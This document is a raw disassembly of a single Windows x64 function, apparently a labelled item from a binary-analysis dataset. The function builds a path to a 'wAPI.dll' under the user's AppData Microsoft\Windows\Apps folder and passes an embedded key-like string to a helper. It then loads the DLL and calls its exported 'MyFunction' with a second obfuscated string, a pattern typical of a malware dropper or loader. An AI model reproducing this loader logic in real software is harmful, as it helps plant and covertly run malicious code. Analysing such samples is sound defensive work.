Function at 0x1400016f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edi, edi
lea r9, [rbp - 0x61]
xor r8d, r8d
mov qword [rbp - 0x61], rdi
xor edx, edx
lea rcx, [0x140005410]
mov r12, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rbp - 0x61]
lea rcx, [rbp + 7]
call fcn.140002960
mov rbx, rax
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1f
jb 0x140001792
lea r14, [rcx + 0x1f]
mov rsi, rbx
mov qword [rbx + 0x10], r14
cmp rdx, 7
jbe 0x140001775
mov rsi, qword [rbx]
lea rcx, [rsi + rcx*2]
mov r8d, 0x3e
lea rdx, str.MicrosoftWindowsAppswAPI.dll
call sub.VCRUNTIME140.dll_memmove
mov word [rsi + r14*2], di
jmp 0x1400017ab
mov edx, 0x1f
mov qword [rsp + 0x20], 0x1f
mov rcx, rbx
call fcn.140003200
mov rbx, rax
mov qword [rbp - 0x29], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x21], rdi
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x29], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 7
mov word [rbx], di
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x14000181b
mov rcx, qword [rbp + 7]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001816
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001816
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400034bc
mov ecx, 0x40
mov qword [rsp + 0x118], r15
mov qword [rbp + 0xf], rdi
call fcn.140003480
movdqa xmm0, xmmword [0x140005720]
mov rcx, rax
movdqu xmmword [rbp + 0x17], xmm0
mov qword [rbp + 7], rax
movabs rsi, 0x7fffffffffffffff
movups xmm0, xmmword [str.tgbyuN980moiu2niyuwsic_67ter6gibGr8238n_7845f_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140005550]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140005560]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x140005570]
movsd qword [rax + 0x30], xmm0
movzx eax, word [0x140005578]
mov word [rcx + 0x38], ax
movzx eax, byte [0x14000557a]
mov byte [rcx + 0x3a], al
mov byte [rcx + 0x3b], dil
mov r9, qword [rbp - 0x29]
test r9, r9
jne 0x1400018bb
movdqa xmm1, xmmword [0x140005710]
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov byte [rbp - 0x19], dil
movdqu xmmword [rbp - 9], xmm1
jmp 0x140001a0d
cmp qword [rbp - 0x21], 7
lea r8, [rbp - 0x39]
mov qword [rsp + 0x38], rdi
mov ecx, 0xfde9
cmova r8, qword [rbp - 0x39]
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r15, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
cmp r15, rsi
ja 0x140001c92
cmp r15, 0xf
ja 0x140001926
mov r8, r15
mov qword [rbp - 0x49], r15
xor edx, edx
mov qword [rbp - 0x41], 0xf
lea rcx, [rbp - 0x59]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + r15 - 0x59], dil
jmp 0x1400019bc
mov rbx, r15
or rbx, 0xf
cmp rbx, rsi
jbe 0x14000195e
movabs rax, 0x8000000000000000
mov rbx, rsi
add rax, 0x27
mov rcx, rax
call fcn.140003480
test rax, rax
je 0x140001990
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000199f
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001978
mov rsi, rdi
jmp 0x14000199f
cmp rcx, 0x1000
jb 0x140001997
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c8c
jmp 0x140001943
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003480
mov rsi, rax
mov r8, r15
mov qword [rbp - 0x59], rsi
xor edx, edx
mov qword [rbp - 0x49], r15
mov rcx, rsi
mov qword [rbp - 0x41], rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rsi + r15], dil
cmp qword [rbp - 0x41], 0xf
lea rax, [rbp - 0x59]
mov r9d, dword [rbp - 0x29]
lea r8, [rbp - 0x39]
cmova rax, qword [rbp - 0x59]
mov ecx, 0xfde9
cmp qword [rbp - 0x21], 7
mov qword [rsp + 0x38], rdi
cmova r8, qword [rbp - 0x39]
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rbp - 0x59]
movups xmm1, xmmword [rbp - 0x49]
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm1
lea r9, [rbp + 7]
mov qword [rsp + 0x110], r13
lea r8, [rbp - 0x19]
mov rcx, r12
call fcn.140001290
cmp qword [rbp - 0x21], 7
lea rcx, [rbp - 0x39]
cmova rcx, qword [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r15, rax
test rax, rax
je 0x140001a67
lea rdx, str.MyFunction
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x69], rax
test rax, rax
jne 0x140001aed
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, 1
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140001aa3
mov rcx, qword [rbp + 7]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a9e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ae6
call fcn.1400034bc
mov rdx, qword [rbp - 0x21]
cmp rdx, 7
jbe 0x140001c51
mov rcx, qword [rbp - 0x39]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c4c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.y73487BNc7783g6__6fvbwdux_982873eHM___38J_H_MGEni75u_FFg6NEuUGb3tv
lea rcx, [rbp - 0x19]
call fcn.140002960
mov r13, qword [rbp - 1]
lea r12, [rbp - 0x19]
mov rsi, qword [rbp - 0x19]
cmp r13, 7
mov rbx, qword [rbp - 9]
movabs r14, 0x7ffffffffffffffe
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
cmp rbx, r14
ja 0x140001c98
cmp rbx, 7
ja 0x140001b4f
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], 7
movups xmm0, xmmword [r12]
movups xmmword [rbp - 0x59], xmm0
jmp 0x140001bf8
mov rax, rbx
or rax, 7
cmp rax, r14
jbe 0x140001b9d
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x140001bd4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c86
mov rcx, rax
call fcn.140003480
mov rcx, rax
test rax, rax
je 0x140001bcd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001bd9
mov ecx, 0xa
mov r14, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb r14, rcx
lea rcx, [r14 + 1]
cmp rcx, rax
ja 0x140001c86
add rcx, rcx
jne 0x140001b69
mov rax, rdi
jmp 0x140001bd9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003480
lea r8, [rbx*2 + 2]
mov qword [rbp - 0x59], rax
mov rdx, r12
mov qword [rbp - 0x49], rbx
mov rcx, rax
mov qword [rbp - 0x41], r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x59]
call qword [rbp - 0x69]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp r13, 7
jbe 0x140001a6c
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001c3f
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001ae6
mov rcx, rsi
call fcn.1400034bc
jmp 0x140001a6c
call fcn.1400034bc
mov r13, qword [rsp + 0x110]
mov eax, edi
mov r15, qword [rsp + 0x118]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140003460
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.1400011b0
int3
call fcn.1400011b0
int3